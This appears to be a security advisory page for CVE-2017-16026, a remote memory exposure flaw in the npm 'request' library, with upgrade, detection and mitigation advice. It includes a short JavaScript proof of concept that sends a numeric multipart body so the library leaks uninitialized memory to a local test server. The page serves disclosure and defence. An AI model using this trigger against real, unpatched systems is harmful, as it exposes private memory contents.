CVE-2017-16026 is a medium-severity (CVSS 5.9) CWE-201 vulnerability in request. 3 public exploit or proof-of-concept references are indexed, so weaponization risk is real. A fix is available for request — see the affected versions and patch details below.
Remote Memory Exposure in request
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.
requestnpmDescription
Affected versions of request will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of body is number, then a buffer of that size will be allocated and sent to the remote server as the body.
Proof of Concept
var request = require('request');
var http = require('http');
var serveFunction = function (req, res){
req.on('data', function (data) {
console.log(data)
});
res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);
request({
method: "POST",
uri: 'http://localhost:8000',
multipart: [{body:500}]
},function(err,res,body){});
Recommendation
Update to version 2.68.0 or later
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | request | ≥ 2.49.0&&< 2.68.0 | 2.68.0npm install request@2.68.0 |
| 📦npm | request | ≥ 2.2.6&&< 2.68.0 | 2.68.0npm install request@2.68.0 |
Affected Products
requestrequest_projectResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for request, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update request to 2.68.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2017-16026 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2017-16026 in your dependencies?
Find it across npm, including transitive dependencies.